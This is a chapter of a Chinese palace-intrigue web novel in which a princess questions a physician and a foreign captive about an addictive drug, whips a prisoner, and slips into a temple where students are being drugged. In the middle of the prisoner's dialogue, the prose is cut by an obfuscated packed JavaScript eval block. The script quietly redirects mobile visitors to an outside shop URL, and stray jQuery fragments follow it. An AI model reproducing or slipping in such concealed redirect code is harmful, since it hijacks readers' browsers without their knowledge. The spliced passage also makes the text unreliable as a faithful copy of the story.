“殿下,苍太医已在门口等候。”
萧凤栖放下手中大理寺那边送来的文书,“请太医进来。”
很快,苍易跟随着夏嬷嬷到了萧凤栖面前,表情严肃。
“可是有结果了?”
苍易点头,从衣袖处掏出一卷纸:“这神仙土有使人亢奋的效果,使用一段时间后会导致病者心脉受损以及出现不同程度的致幻,若是使用过量容易猝死身亡。”
“会成瘾吗?”萧凤栖眉头紧皱,若是这样,只怕得加快时间制止那些学子继续使用这毒物。
“依赖性极强,精神亢奋后身体的疲累会加重反噬,若想保持一个清醒状态就只能继续服用此药。”
可想而至,这背后之人的恶毒,不仅能赚得盆满钵满还能直接毁了这一届春闱学子。
“医学古籍上可有此例?”萧凤栖有些头疼。
“并无,或者说大虞并无此先例。”苍易回答道。
“你的意思是——”萧凤栖的表情立马变得晦暗。
大虞没有不代表周围大大小小的邻国没有,若是由周边邻国传入,那这性质又不太一样了。
“我可为殿下解惑。”
殿外一道声音传来,萧凤栖看去。
是商扶砚,夏嬷嬷慌张地跟在他身侧,却没能阻止他。
“你知道?”萧凤栖敲了两下桌案,目光带上一丝警惕。
“我本为黎川人。”
商扶砚站在下方,直面对上萧凤栖的视线,没有躲闪。
“夏嬷嬷您先出去罢。没有我的允许其他人都不准进入。”萧凤栖说完,便招手示意商扶砚上前。
殿门关闭。
“你识得这神仙土?”萧凤栖从衣襟出掏出一小包被紧紧绑住的粉末。
“是,在黎川我们称它为无忧散。”
商扶砚看着面前暗白色的粉末,开口:“在黎川无忧散曾受人追捧,因此死去了许多人,最后被朝廷严令禁止。”
“为何黎川的东西会出现在我大虞?”萧凤栖冷冷问道。
“黎川动乱,许是被有心之人加以利用,流到了大虞。”商扶砚顿了顿,又继续说,“无忧散已成黎川禁药,若想得到绝非易事。”
“这无忧散是用黎川神山玉峰山巅上的冰若花的花液,以及玉犀兽的兽角和其他药材进行制作,价格高昂。”
萧凤栖倚靠在圈椅上,如今明摆着大虞有人与黎川权贵勾结。
“可有救治之法?”
商扶砚微愣:“有,需蓝眼泪为药引。”
萧凤栖与苍易对视,苍易先开口:“何为蓝眼泪?”
“得先寻月影贝,此物只在深海中有,在活着时以银针穿透其腺体,一只成年月影贝仅有三滴蓝眼泪,取完即死。”
“你可会?”萧凤栖看向面前的人。
商扶砚轻轻勾起嘴角,“殿下有兴趣同我做个交易吗?”
“你在威胁我?”
一阵沉默后,萧凤栖反倒露出笑容,寻了个更加舒服的姿势,饶有兴致的问。
“不敢,只是想在异乡寻同乡人求个安心罢了。”
商扶砚服软似的垂眸。
“苍太医,夜深了先回吧。”萧凤栖突然话题一转。
苍易本来还在一旁准备看戏,突然被叫到,吓了一瞬又立马反应过来。
朝萧凤栖作揖行礼后便步履匆忙地离开了主殿。
他离开后,空旷的主殿只剩两人。
萧凤栖从圈椅中起身,向商扶砚走近。
“殿下。”商扶砚只是垂眸,没有动作。
萧凤栖勾起他的下巴,强迫他抬起脸,“你凭什么觉得你能威胁我?”
“我不敢。”商扶砚被迫与她对视,下意识躲避视线。
萧凤栖冷笑一声:“你没有大虞户籍,应该自称为奴。”
商扶砚身体僵了僵,垂到身旁的手指猛地攥紧,指尖深陷肉中,然后慢慢松开。
最后还是在萧凤栖冷淡的注视下开口道:“奴....奴不敢。”
“乖一些,自然没人能用身份压你。”
得了自己想要的话,萧凤栖心情好了不少,松开手,“至于你的请求本宫允了。”
商扶砚不可置信抬头,即使下巴还残留着疼痛。
“每月三次,每次本个时辰,在宫门西角处,只是.......”萧凤栖刻意拖长音。
“殿下请说。”
“灵溪。”萧凤栖懒散的喊了声。
殿外,一个模样清冷的婢女走近,向萧凤栖作揖行礼:“灵溪参见殿下。”
“以后灵溪会跟在你身边,你出宫时她也会伴随你左右。”
说完,灵溪依言俯身对商扶砚行礼:“灵溪参加商公子。”
“至于你想哪几天与你的同乡见面你也可同灵溪说,她会禀报于我,我会安排。”
“是。”商扶砚只得应下。
萧凤栖看着他,心里的恶劣因子突然又返了上来,往他面前走了几步,俯身凑近。
商扶砚下意识想往后躲,但被一道力气扼制住,只得紧闭双眸。
等了一会却什么也没发生,商扶砚又慢慢睁开眼睛,萧凤栖已经坐了回去,像什么都没发生过一样。
商扶砚摸了摸自己还有些疼痛的肩膀,看向一旁的灵溪,是个练家子,且武功不低。
“夜深了,回去歇息吧。”萧凤栖淡淡下了道逐客令。
一直到回自己的偏殿,商扶砚才反应过来萧凤栖竟然答应了自己的请求,看向桌上还放着的蟹酥,商扶砚缓缓吐出口气。
—
大理寺。
萧凤栖脚下带风,面色如常地穿过哀嚎不断的狱房,到了行刑区。
被折磨几天的李栎早已没了人样,要不是身上还被铁链绑着,见到萧凤栖的那一瞬间就恨不得趴下求饶了。
“殿下殿下,我都招都招。”
萧凤栖坐在椅子上,手里把玩着一根鞭子,那鞭子带着倒刺,上头不知道还沾着谁的血。
“想好了再说,若是被我知道你说了一句假话,今儿就可以去见阎罗王了。”萧凤栖漫不经心道。
“是是是,全是真话真话。”李栎赶紧点头保证。
“小子以前就是在赌坊里做药局的,后来在赌坊里认识了一个书生,他玩的特别大,但我瞧他那衣裳也不像富贵子弟,便问了。”
“他就同我介绍了这个路子,让我去茶馆和会馆,后面也挣了些钱。”
“这么好心给你介绍赚钱的路子?”萧凤栖挑眉。
“他说我瞧着有几分读书人的样子,能骗到人。”李栎还有些自豪的说着。
“还给你得意上了?”萧凤栖冷声道。
下一秒,一道鞭子残影就落到李栎身上。
李栎求爷爷告奶奶的痛苦嚎叫立马响起。
一旁的狱卒恶狠狠道:“老实点!在殿下面前还敢放肆。”
“哎,别这么凶,给人疼的脸都白了。”萧凤栖笑着朝狱卒摆手。
“都,都是实话啊殿下,小人做不出昧良心的事啊!”李栎疼的直抽气。
“那书生的样子你可能描述?”
李栎想了想,摇头:“那书生带着面具,我没看清他的样子。”
“什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720647|208624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样的面具?”萧凤栖起身到李栎面前。
“是一个蝎子形状的,基本上将一整张脸都遮了。”李栎不敢直视萧凤栖,只能低头说。
“你从未见过他摘面具?”
“从未,我也问过,但他说是幼时被火撩过,面容丑陋。”李栎老实道。
萧凤栖点头,心里清楚这人估计知道的也有这么多了。
朝一旁的狱卒使了个眼神,便离开了大狱。
“蝎子形状?”
于遥摸着下巴仔细思考,还是摇头:“不记得有这么一号人物啊。”
“你去查这个蝎子面具,我再去一趟兴国寺。”
萧凤栖直接安排任务。
“殿下,我随您入宫这任务比我在宫外当盗贼还多啊。”于遥半开玩笑说道。
“给你。”
萧凤栖随手扔出一个金光闪闪的手镯,于遥顺势接下,看着上头的纹饰露出了满意的笑容。
“保证完成任务。”
说完便抱着新鲜出炉的金手镯乐滋滋地转身离去。
侧殿商扶砚正在看从书架上寻到的一本奇异志怪文记。
正当他看到精彩之处时,面前的光线突然被挡住。
“对这有兴趣?”萧凤栖扫了眼那本志怪书的名字。
商扶砚也点头应下:“确实挺有意思。”
“别看了,随我去一趟兴国寺。”
“兴国寺?”商扶砚有些茫然。
“无忧散就是在那大量发现。”萧凤栖解释道。
提到了无忧散,商扶砚也没再磨蹭,快速去换衣随萧凤栖一同坐上马车。
等他们到时,里头已经没多少人了,只有寥寥几位还在上香的香客和扫地的小和尚。
“阿弥陀佛,天色已晚,若施主想上香就请等明日再来吧。”其中一位扫地和尚见到他们直接上前说。
“我们受人委托来寻人,可否通融一二?”萧凤栖和颜悦色,手上悄悄塞给那和尚几两银子。
摸了摸自己鼓囊囊的腰带,那和尚也露出笑容:“两位施主是寻何人?”
“后院禅房,宁柯。”
“哦哦,宁小公子啊,就是现在天色也晚了,宁小公子此时应在用心复习。”扫地和尚脸上露出些为难。
“无事,我们只是来送个东西,送完就走。”
商扶砚举起手中的食盒。
扫地和尚这才带着他们往后院去。
但比起上次住持带的路,这一次却格外漫长。
萧凤栖没耐心了,直接一个手刀劈于后颈,然后带着商扶砚往正确的路走去。
“故意带着绕远路,估摸着已经通风报信了。”萧凤栖冷声道。
“那他怎么办?”商扶砚看向倒地的和尚。
“无事,让他在这睡一觉,会有人来处理的。”
萧凤栖径直往前走,不过雕虫小技罢了,她被母皇扔到军中时就有进行这方面的训练,方向感自是比一般人要好上不少的。
两人走了一会才到后院禅房,里头已经点上蜡烛,还有几个拿着棍棒的和尚正在周围巡逻。
“往后边过,前边的禅房是专供权贵子嗣,守卫多,后边会松散些。”
看着周围的地势,萧凤栖拉着商扶砚绕了一圈。
前边禅房灯火通明,后边禅房则冷清的可怜。
看得出相当敷衍,连窗户纸都只是随意糊了下。
萧凤栖将纸戳了一个洞,往里看去。
里头一共有三位学子,面色泛着诡异的潮红,正低头奋笔疾书。
他们身后放置的香炉正不停向外溢散着白色的薄雾。